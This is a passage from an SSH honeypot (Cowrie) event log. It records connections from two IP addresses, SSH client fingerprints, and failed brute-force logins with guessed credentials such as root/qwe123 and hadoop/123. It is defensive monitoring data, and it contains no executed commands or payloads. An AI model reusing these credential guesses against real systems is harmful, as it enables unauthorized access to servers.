{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:08.640370Z","src_ip":"89.144.211.139","session":"fcac8962c5df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qweQWE123","message":"login attempt [deploy/qweQWE123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:09.206726Z","src_ip":"89.144.211.139","session":"fcac8962c5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:10.331736Z","src_ip":"89.144.211.139","session":"fcac8962c5df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44770,"dst_ip":"159.203.135.109","dst_port":22,"session":"58211a746580","protocol":"ssh","message":"New connection: 172.237.20.62:44770 (159.203.135.109:22) [session: 58211a746580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:11.557968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:11.563624Z","src_ip":"172.237.20.62","session":"58211a746580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:11.727270Z","src_ip":"172.237.20.62","session":"58211a746580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:12.215948Z","src_ip":"172.237.20.62","session":"58211a746580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:13.381966Z","src_ip":"172.237.20.62","session":"58211a746580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44398,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac178f1e2011","protocol":"ssh","message":"New connection: 172.237.20.62:44398 (159.203.135.109:22) [session: ac178f1e2011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:22.544386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:22.549448Z","src_ip":"172.237.20.62","session":"ac178f1e2011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:22.708927Z","src_ip":"172.237.20.62","session":"ac178f1e2011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:23.187822Z","src_ip":"172.237.20.62","session":"ac178f1e2011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:24.353367Z","src_ip":"172.237.20.62","session":"ac178f1e2011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46180,"dst_ip":"159.203.135.109","dst_port":22,"session":"f98a349df029","protocol":"ssh","message":"New connection: 172.237.20.62:46180 (159.203.135.109:22) [session: f98a349df029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:33.412425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:33.416696Z","src_ip":"172.237.20.62","session":"f98a349df029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:33.578782Z","src_ip":"172.237.20.62","session":"f98a349df029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:34.053668Z","src_ip":"172.237.20.62","session":"f98a349df029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:35.267226Z","src_ip":"172.237.20.62","session":"f98a349df029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42768,"dst_ip":"159.203.135.109","dst_port":22,"session":"34f27a9eb58d","protocol":"ssh","message":"New connection: 172.237.20.62:42768 (159.203.135.109:22) [session: 34f27a9eb58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:44.306908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:44.312281Z","src_ip":"172.237.20.62","session":"34f27a9eb58d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:44.475102Z","src_ip":"172.237.20.62","session":"34f27a9eb58d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:44.964506Z","src_ip":"172.237.20.62","session":"34f27a9eb58d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:46.131176Z","src_ip":"172.237.20.62","session":"34f27a9eb58d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48032,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ea946858a82","protocol":"ssh","message":"New connection: 172.237.20.62:48032 (159.203.135.109:22) [session: 6ea946858a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:55.242282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:55.251765Z","src_ip":"172.237.20.62","session":"6ea946858a82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:55.413696Z","src_ip":"172.237.20.62","session":"6ea946858a82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:55.935746Z","src_ip":"172.237.20.62","session":"6ea946858a82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:57.105298Z","src_ip":"172.237.20.62","session":"6ea946858a82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45218,"dst_ip":"159.203.135.109","dst_port":22,"session":"282e88230cdf","protocol":"ssh","message":"New connection: 172.237.20.62:45218 (159.203.135.109:22) [session: 282e88230cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:06.208112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:06.213096Z","src_ip":"172.237.20.62","session":"282e88230cdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:06.371653Z","src_ip":"172.237.20.62","session":"282e88230cdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:06.849658Z","src_ip":"172.237.20.62","session":"282e88230cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:08.012467Z","src_ip":"172.237.20.62","session":"282e88230cdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":58654,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e86ba1fd3e3","protocol":"ssh","message":"New connection: 89.144.211.139:58654 (159.203.135.109:22) [session: 0e86ba1fd3e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:12.715000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:12.723090Z","src_ip":"89.144.211.139","session":"0e86ba1fd3e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:12.859370Z","src_ip":"89.144.211.139","session":"0e86ba1fd3e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrateur","password":"administrateur","message":"login attempt [administrateur/administrateur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:13.411335Z","src_ip":"89.144.211.139","session":"0e86ba1fd3e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:14.550990Z","src_ip":"89.144.211.139","session":"0e86ba1fd3e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41372,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffc296c85243","protocol":"ssh","message":"New connection: 172.237.20.62:41372 (159.203.135.109:22) [session: ffc296c85243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:17.242052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:17.246869Z","src_ip":"172.237.20.62","session":"ffc296c85243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 